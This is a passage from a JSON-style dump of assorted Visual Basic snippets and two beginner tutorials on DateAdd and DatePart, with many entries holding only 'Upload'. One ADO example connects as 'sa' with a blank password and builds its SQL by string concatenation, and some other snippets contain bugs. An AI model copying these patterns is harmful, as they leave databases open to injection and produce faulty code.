FromRect As RECT, ToRect As RECT, Mouse As POINTAPI\n GetCursorPos Mouse\n FromRect.Top = Mouse.Y\n FromRect.Left = Mouse.X\n FromRect.Bottom = Mouse.Y + 32\n FromRect.Right = Mouse.X + 32\n GetWindowRect ToWindow.hwnd, ToRect\n \n DrawAnimatedRects ToWindow.hwnd, IDANI_CAPTION, FromRect, ToRect\nToWindow.Show ShowModal, OwnerOfNewWindow\nEnd Sub\n'Makes an animation from the hWnd of an object to the position of the mouse.\nPublic Sub MouseTohWnd(AnimateTo As Long)\nOn Error Resume Next\n Dim FromRect As RECT, ToRect As RECT, Mouse As POINTAPI\n GetCursorPos Mouse\n FromRect.Top = Mouse.Y\n FromRect.Left = Mouse.X\n FromRect.Bottom = Mouse.Y + 32\n FromRect.Right = Mouse.X + 32\n GetWindowRect AnimateTo, ToRect\n \n DrawAnimatedRects AnimateTo, IDANI_CAPTION, FromRect, ToRect\nEnd Sub"},{"WorldId":1,"id":22884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22891,"LineNumber":1,"line":"Function Eval(sin As String) As Double\nDim bAreThereBrackets As Boolean\nDim x As Double, y As Double, z As Double\nDim L2R As Integer\nDim sLeft As String, sMid As String, sRight As String\nDim dStack As Double\nDim sPrevOp As String\nDim bInnerFound As Boolean\n sin = IIf(InStr(sin, \" \") > 0, RemoveAllSpaces(sin), sin)\n If InStr(sin, \"(\") Then\n 'work from left to right. find the inner most\n 'brackets and resolve them into the string, eg;\n '(6+7+(6/3)) becomes (6+7+2)\n \n L2R = 1\n While InStr(sin, \"(\") > 0\n 'inner loop\n bInnerFound = False\n Do\n x = InStr(L2R, sin, \"(\")\n y = InStr(x + 1, sin, \"(\")\n z = InStr(x + 1, sin, \")\")\n If y = 0 Then\n L2R = x\n bInnerFound = True\n Else\n If y < z Then\n L2R = y\n Else\n L2R = x\n bInnerFound = True\n End If\n End If\n Loop Until bInnerFound\n x = InStr(L2R, sin, \")\")\n sin = Left(sin, L2R - 1) & CStr(Eval(Mid(sin, L2R + 1, x - L2R - 1))) & Mid(sin, x + 1)\n Debug.Print sin\n \n Wend\n Eval = CDbl(IIf(IsNumeric(sin), sin, Eval(sin)))\n Else\n dStack = 0\n sLeft = \"\"\n sPrevOp = \"\"\n For L2R = 1 To Len(sin)\n If Not IsNumeric(Mid(sin, L2R, 1)) And Mid(sin, L2R, 1) <> \".\" Then\n 'we have an operator\n If dStack = 0 Then\n dStack = CDbl(sLeft)\n Else\n dStack = ASMD(dStack, sLeft, sPrevOp)\n End If\n sLeft = \"\"\n sPrevOp = Mid(sin, L2R, 1)\n Else\n 'carry on extracting the current number\n sLeft = sLeft & Mid(sin, L2R, 1)\n End If\n Next L2R\n If sLeft > \"\" Then\n dStack = ASMD(dStack, sLeft, sPrevOp)\n End If\n Eval = dStack\n End If\nEnd Function\nFunction RemoveAllSpaces(sin As String) As String\nDim x As Integer\n RemoveAllSpaces = \"\"\n For x = 1 To Len(sin)\n If Mid(sin, x, 1) <> \" \" Then\n RemoveAllSpaces = RemoveAllSpaces & Mid(sin, x, 1)\n End If\n Next x\nEnd Function\nFunction ASMD(dIn As Double, sin As String, sOP As String) As Double\n Select Case sOP\n Case \"+\"\n ASMD = dIn + CDbl(sin)\n Case \"-\"\n ASMD = dIn - CDbl(sin)\n Case \"*\"\n ASMD = dIn * CDbl(sin)\n Case \"/\"\n ASMD = dIn / CDbl(sin)\n Case \"^\"\n ASMD = dIn ^ CDbl(sin)\n Case Else\n ASMD = 0\n End Select\nEnd Function"},{"WorldId":1,"id":22893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22924,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 05/01/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 3,\n2001 \n \n\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \n\n\n\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DateAdd()\nName Derived\nFrom: \n \"Date Addition\"</a> \n \n<font\nsize=\"2\" face=\"Arial\">Used for: \nAdding a specified time period to a date value.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Date) containing a date to which a specified time interval has been added.\n\n\nPlain\nEnglish: Allows you to add a specified number of seconds, minutes, hours, days, weeks, months, quarters, or years to a date. \n<font\nsize=\"2\" face=\"Arial\">Syntax: Val=DateAdd(Interval, Count, BaseDate)\n<font\nsize=\"2\" face=\"Arial\">Usage: dtmNewDate = DateAdd(\"M\", 8, \"01/12/2000\")\n\t\t\t\t\t\t\t\t\t \n<font\nsize=\"2\" face=\"Arial\">Parameters: \n \n\n<li>Interval - The unit that you want to add to the Base Date. This can be: \n\t<blockquote>\n\t\t<blockquote>\n\t<li>s - Seconds\n\t<li>n - Minutes\n\t<li>h - Hours\n\t<li>d - Days\n\t<li>w - Weeks\n\t<li>m - Months\n\t<li>q - Quarter\n\t<li>yyyy - Year\n\t\n\t\t</blockquote>\n\t</blockquote>\n<li>Count - The number of days, weeks, etc. that you wish to add to the date. \n<li>BaseDate - The date that the interval is to be added to. \nExample: \n \nTo add two days to today's date:\n \n<blockquote>\n<code>MsgBox DateAdd(\"d\", 2, Date)</code>\n</blockquote>\n\t\t\n\nIf you have not read the Daily Newbie on how VB stores date format, you may want to review it now <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.22876/lngWId.1/qx/vb/scripts/ShowCode.htm\"> by clicking here.</a>\t\n \n \nToday's code snippet prints a annual schedule of maintenance dates for a piece of equipment that must be maintained every 45 days. \n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"3\" face=\"Arial\"><code>\n \nDim dtmStartDate As Date 'Holds original date\nDim dtmMaintDate As Date 'Holds incremented date\ndtmStartDate = InputBox(\"Enter the date of the first maintenance:\")\ndtmMaintDate = dtmStartDate 'Start increment date at entered date\nDebug.Print \"Maintenance Schedule for Widget\"\nDebug.Print \"================================\"\n \n<code>\nDo\n \n dtmMaintDate = DateAdd(\"d\", 45, dtmMaintDate)\n\t \n'\t\tPrint to the debug window (press \"Ctrl\" Key + \"G\" Key\n'\t\tto view the debug window\n\t \n Debug.Print dtmMaintDate\n'\tkeep going until the current maintenance date is \n'\tgreater than the start date plus one year\nLoop Until dtmMaintDate > DateAdd(\"yyyy\", 1, dtmStartDate)\n\n \n \n \n\t\t\t\t</code></pre>\n \n<font\nsize=\"2\" face=\"Arial\">Notes: \n\nThe DateAdd function is extremely useful when you are writing time sensitive applications. You can accomplish with one function call what would take many, many lines of code without it.\n \nSome general notes on DateAdd:\n\n \n<li>Despite its name, you can subtract dates with DateAdd as well. This is accomplished by simply adding a negative number in the Count parameter.\n \n \n<blockquote>\n<code>MsgBox DateAdd(\"d\", -2, Date)</code>\n</blockquote>\n \n<li>DateAdd is aware of all of the calendar weirdness such as leap years. Using it to add an interval of one day to Feb. 28, 2001 will yield Feb. 29, while it will yield March 1 for 2002.\n</body>\n</html>\n"},{"WorldId":1,"id":22932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23020,"LineNumber":1,"line":"Private Sub Command1_Click()\n File1.Pattern = \"*.exe\"\n Label3.Caption = \"Searching \" & File1.Pattern\n Call search(\"C:\\\")\nEnd Sub\nPublic Sub search(dr As String)\nDim lst(5000) As String\nDim lstcnt As Integer\nDir1.Path = dr\nlistcnt = 0\n Do While (Dir1.ListIndex < Dir1.ListCount - 1)\n Dir1.ListIndex = Dir1.ListIndex + 1\n listcnt = listcnt + 1\n lst(listcnt) = Dir1.List(Dir1.ListIndex)\n Loop\n For i = 1 To listcnt\n search (lst(i))\n Next i\n \n File1.Path = Dir1.List(Dir1.ListIndex)\n DoEvents\n \n Do While (File1.ListIndex < _ File1.ListCount - 1)\n File1.ListIndex = File1.ListIndex + 1\n List1.AddItem (Dir1.List _(Dir1.ListIndex) & \"\\\" & File1.FileName)\n DoEvents\n Loop\nEnd Sub"},{"WorldId":1,"id":23021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23025,"LineNumber":1,"line":"Private Sub Grid1_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nStatic txt As String\nDim tip As String\ntip = Grid1.TextMatrix(Grid1.MouseRow, Grid1.MouseCol)\n If txt <> tip Then\n Grid1.ToolTipText = tip\n txt = tip\n End If\nEnd Sub"},{"WorldId":1,"id":23028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23029,"LineNumber":1,"line":"Public Enum exColorTypes\n 'vbWhite = &HFFFFFF\n vbLightGray = &HE0E0E0\n vbGray = &HC0C0C0\n vbMediumGray = &H808080\n vbDarkGray = &H404040\n 'vbBlack = &H0\n vbPaleRed = &HC0C0FF\n vbLightRed = &H8080FF\n 'vbRed = &HFF\n vbMediumRed = &HC0&\n vbDarkRed = &H80&\n vbBlackRed = &H40&\n vbPaleOrange = &HC0E0FF\n vbLightOrange = &H80C0FF\n vbOrange = &H80FF&\n vbMediumOrange = &H40C0&\n vbDarkOrange = &H4080&\n vbBlackOrange = &H404080\n vbPaleYellow = &HC0FFFF\n vbLightYellow = &H80FFFF\n 'vbYellow = &HFFFF\n vbMediumYellow = &HC0C0&\n vbDarkYellow = &H8080&\n vbBlackYellow = &H4040&\n vbPaleGreen = &HC0FFC0\n vbLightGreen = &H80FF80\n 'vbGreen = &HFF00\n vbMediumGreen = &HC000&\n vbDarkGreen = &H8000&\n vbBlackGreen = &H4000&\n vbPaleCyan = &HFFFFC0\n vbLightCyan = &HFFFF80\n 'vbCyan = &HFFFF00\n vbMediumCyan = &HC0C000\n vbDarkCyan = &H808000\n vbBlackCyan = &H404000\n vbPaleBlue = &HFFC0C0\n vbLightBlue = &HFF8080\n 'vbBlue = &HFF0000\n vbMediumBlue = &HC00000\n vbDarkBlue = &H800000\n vbBlackBlue = &H400000\n vbPalePurple = &HFFC0FF\n vbLightPurple = &HFF80FF\n vbPurple = &HFF00FF\n 'vbMagenta = &HFF00FF\n vbMediumPurple = &HC000C0\n vbDarkPurple = &H800080\n vbBlackPurple = &H400040\nEnd Enum"},{"WorldId":1,"id":23034,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 05/01/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 8,\n2001 \n \n\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \n\n\n\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DatePart()\nName Derived\nFrom: \n \"Part of a Date\"</a> \n \n<font\nsize=\"2\" face=\"Arial\">Used for: \nGetting a part of a date value (i.e. Day, Month, Year, etc.).\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Integer) containing the specified part of a given date.\n\nPlain\nEnglish: Lets you get only one part of a date/time value. For example you can determine what weekday a certain date falls on. \n<font\nsize=\"2\" face=\"Arial\">Syntax: Val=DatePart(Part, Date)\n<font\nsize=\"2\" face=\"Arial\">Usage: intWeekDay = DatePart(\"w\",\"01/12/2000\")\n\t\t\t\t\t\t\t\t\t \n<font\nsize=\"2\" face=\"Arial\">Parameters: \n \n\n<li>Part - The part of the date you want returned . This can be: \n\t<blockquote>\n\t\t<blockquote>\n\t<li>s - Seconds\n\t<li>n - Minutes\n\t<li>h - Hours\n\t<li>d - Days\n\t<li>y - Day of Year\n\t<li>w - Weekday\n\t<li>w - Week\n\t<li>m - Months\n\t<li>q - Quarter\n\t<li>yyyy - Year\n\t\n\t\t</blockquote>\n\t</blockquote>\n<li>Date - The date that the part is derived from.\nExample: \n \nTo get the current week within the current year (What week is this for the year? 1-52 )):\n \n<blockquote>\n<code>MsgBox DatePart(\"ww\", Date)</code>\n</blockquote>\n\t\t\n\nIf you have not read the Daily Newbie on how VB stores date format, you may want to review it now <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.22876/lngWId.1/qx/vb/scripts/ShowCode.htm\"> by clicking here.</a>\t\n \n \nToday's code snippet returns the Julian date for today. \n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"3\" face=\"Arial\"><code>\n \n\nMsgBox \"Today's Julian Date is: \" & DatePart(\"y\",Date) & \"/\" & DatePart(\"yyyy\",Date)\n \n \n\t\t\t\t</code></pre>\n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":23039,"LineNumber":1,"line":"Text1.SelStart = Len(Text1.Text)"},{"WorldId":1,"id":23040,"LineNumber":1,"line":"Dim n As Integer\nPrivate Sub cmdhi_Click()\n lblhi.Caption = \"HI\"\nEnd Sub"},{"WorldId":1,"id":23048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23058,"LineNumber":1,"line":"Function MakeVBColour(hColor) As Long \n' 20010509 BWM - Used to flip the \n' #RRGGBB HTML colour format to the \n' VB-style &HBBGGRR format \n' Note: the variable 'RED' refers to 'BLUE' \n' in HTML, and 'BLUE' refers to 'RED' in HTML. \n' There's no standard. \n Dim Red As Long \n Dim Green As Long \n Dim Blue As Long \n Dim sRed As String \n Dim sBlue As String \n Dim sGreen As String \n' Fill a long variable with the colour\n \n hColor = CLng(hColor) \n' Separate the colours into their own variables \n Red = hColor And 255 \n Green = (hColor And 65280) \\ 256 \n Blue = (hColor And 16711680) \\ 65535 \n' Get the hex equivalents \n sRed = Hex(Red) \n sBlue = Hex(Blue) \n sGreen = Hex(Green) \n' Pad each colour, to make sure it's 2 chars \n sRed = String(2 - Len(sRed), \"0\") & sRed \n sBlue = String(2 - Len(sBlue), \"0\") & sBlue \n sGreen = String(2 - Len(sGreen), \"0\") & sGreen \n'reassemble' the colour \n MakeVBColour = CLng(\"&H\" & sRed & sGreen & sBlue) \n \nEnd Function "},{"WorldId":1,"id":23061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23133,"LineNumber":1,"line":"Public Sub ResToFile(Filename As String, ResID As Variant, ResType As Variant, Optional Overwrite As Boolean = False)\nDim Buffer() As Byte\nDim Filenum As Integer\nIf Dir(Filename) <> Empty Then 'Check if output file already exists\n If Overwrite Then Kill Filename Else Err.Raise 58\nEnd If\nBuffer = LoadResData(ResID, ResType) 'Load the resource into a byte array\nFilenum = FreeFile\nOpen Filename For Binary Access Write As Filenum\nPut Filenum, , Buffer 'Write the entire array into the file\nClose Filenum\nEnd Sub"},{"WorldId":1,"id":23134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23178,"LineNumber":1,"line":"Dim SecurityCode As Integer\n Dim LocationCode As Integer\n Dim Engineer As String\n Dim cn As New ADODB.Connection\n Dim rs As ADODB.Recordset\n Dim ConnStr As String\n \n 'Create connection string\n ConnStr = \"uid=sa;pwd=;driver={SQL Server};\" & _\n \"server=<server>;database=<database>;dsn=''\"\n 'Open the connection the the server\n With cn\n .ConnectionString = ConnStr\n .ConnectionTimeout = 10\n .Properties(\"Prompt\") = adPromptNever\n .Open\n \n End With\n \n 'Supply the stored procedure and the variables you are going to pass\n 'remember to put string and date values in apostophes\n SQLQuery = \"sp_WorkList(\" & LocationCode & \", '\" & Engineer & \"', \" & SecurityCode & \")\"\n \n 'Execute stored procedure\n Set rs = cn.Execute(SQLQuery)\n 'If the stored procedure returns any rows of data process the information\n Do While Not rs Is Nothing\n \n 'if we have reached the end of the recordset, get the next recordset that was returned\n Do While Not rs.EOF\n 'show the data, i currently use this to populate a treeview... but you can use your imagination\n For Each Field In rs.Fields\n Debug.Print Field.Name & \" = \" & Field\n Next Field\n Loop\n 'get the next recordset\n Set rs = rs.NextRecordset\n Loop\n'*******************************\n'Example of a SQL stored procedure that returns\n'multiple recordsets\n'This is copied from my MS SQL Server 7 sp\n'I use this to populate a users worklist\n'there are 5 fields and the sixth is the name \n'of the category with a null in the field value\n'I assign the field names to a the name i wish to\n'show in the description of the field. You will\n'see a 1/2/_ in the field name, these are\n'translated to various charchters that SQL server\n'permit. Because all the queries are on the server\n'all i have to do is modify the stored procedure\n'to change the categories in a worklist. It is a\n'better then having to recompile!!!\n'I hope this helps everyone\n'********************************\nCREATE PROCEDURE sp_WorkList \n\t@loccode int,\n\t@name varchar(100),\n\t@security int\nAS\nif @security = 2 \n\tBEGIN\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Bid_No_Bid FROM MasterISR WHERE Status = 'Pending Confirm' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Labor_Assignment FROM MasterISR WHERE Status = 'Pending Assign' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Submission FROM MasterISR WHERE Status = 'Pending ASR' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_ISR_Number FROM MasterISR WHERE Status = 'Pending ISR' ORDER BY [ISR_#];\n\tEND\n\nif @loccode = 1 GOTO LAN_Eng\nif @loccode = 2 GOTO WAN_Eng\n\nLAN_Eng:\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Pending_KO FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Pending KO') ORDER BY ISR_#;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Proposal_1_Rework FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Proposal - Rework')) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Design FROM MasterISR WHERE (Info_BO is null AND (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND QuoteCompDT is null AND ((MasterISR.Status)='open' Or (MasterISR.Status)='proposal'))) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Design FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND MasterISR.Status='Design' AND Info_BO is null ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Info_BO as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Pending_NDP FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Design' OR Status = 'Open') AND Not Info_BO is null ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, QuoteCompDT as Implem2, Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Implementation_1_Rework FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Implementation - Rework' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, QuoteCompDT as Implem2, Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Implementation FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Implementation' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Hold FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Hold' AND LANCompActDT Is Null)) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteCompDT as Due, Left(SubProject_Desc, 100) as Description , eng_proj_type, '' as Wait_for_FF FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Proposal' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteCompDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Wait_for_FF FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Pending FF') ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Engineering_Closed FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT Is Not Null AND PE_ClosedDT Is Null AND not Status = 'Closed')) ORDER BY Network_Target_Date;\nreturn\n"},{"WorldId":1,"id":23183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23197,"LineNumber":1,"line":"Dim strFind As String\n Dim strReplace As String\n Dim strDestination As String\n Dim strSource As String\n Dim strFilter\n \n strFind = \"Hello\" 'What to find\n strReplace = \"Goodbye\" 'What to replace it with\n strDestination = \"c:\\temp\" 'Where to put the files once they have been modified\n strSource = \"c:\\output\" 'Where to get the files\n strFilter = \"*.txt\" 'wildcards\n 'verification complete\n Dim parse As String\n Dim hold As String\n 'FIND AND REPLACE\n sdir = Dir(strSource & \"\\\" & fMainForm.txtIncludeFilter)\n Do While sdir <> \"\"\n Open fMainForm.txtSource & \"\\\" & sdir For Input As #1\n Do While Not EOF(1)\n Line Input #1, parse\n hold = hold & Replace(parse, fMainForm.txtReplace, fMainForm.txtFind)\n Loop\n \n Loop\n Open fMainForm.txtSource & \"\\\" & sdir For Output As #1\n Print #1, hold\n Close #1\n hold = \"\"\n parse = \"\"\n sdir = Dir()\n Loop"},{"WorldId":1,"id":23199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23200,"LineNumber":1,"line":"Dim sdir, string1, string2\nsdir = Dir(\"\\\\hurricane\\c$\\newrouters\\*.cfg\")\nOpen \"c:\\windows\\desktop\\mrtgcfg.cfg\" For Output As #1\nDo While sdir <> \"\"\n Open \"\\\\hurricane\\newrouters\\\" & sdir For Input As #2\n Do While Not EOF(2)\n Line Input #2, string1\n Print #1, string1\n Loop\n Debug.Print sdir\n Close #2\n sdir = Dir()\nLoop\nClose #1"},{"WorldId":1,"id":23201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23210,"LineNumber":1,"line":"Sub Main()\nIf Command = \"\" Then\n Form1.Label1.Caption = \"No arguement.\"\n Form1.Show\nElseIf Command = \"-m\" Then\n Form1.Show\n Form1.WindowState = 1\n Form1.Label1.Caption = \"Arguement: \" & Command\nElse\n Form1.Label1.Caption = \"Arguement: \" & Command\n Form1.Show\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":23212,"LineNumber":1,"line":"Public Sub CopyTLP(strText As String, strSylk As String)\nDim wLenT As Integer\nDim hMemoryT As Long\nDim lpMemoryT As Long\nDim wLenS As Integer\nDim hMemoryS As Long\nDim lpMemoryS As Long\nDim retval As Variant\n\n If OpenClipboard(APINULL) Then\n Call EmptyClipboard\n \n wLenT = Len(strText) + 1\n strText = strText & vbNullChar\n \n hMemoryT = GlobalAlloc(GHND, wLenT + 1)\n \n If hMemoryT Then\n lpMemoryT = GlobalLock(hMemoryT)\n retval = lstrcpy(lpMemoryT, strText)\n Call GlobalUnlock(hMemoryT)\n retval = SetClipboardData(CF_TEXT, hMemoryT)\n End If\n \n wLenS = Len(strSylk) + 1\n strSylk = strSylk & vbNullChar\n \n hMemoryS = GlobalAlloc(GHND, wLenS + 1)\n \n If hMemoryS Then\n lpMemoryS = GlobalLock(hMemoryS)\n retval = lstrcpy(lpMemoryS, strSylk)\n Call GlobalUnlock(hMemoryS)\n retval = SetClipboardData(CF_SYLK, hMemoryS)\n End If\n End If\n Call CloseClipboard\nEnd Sub\nPublic Sub CopyText(strText As String)\n 'ExecuteCopy strText, CF_TEXT\n Clipboard.GetText 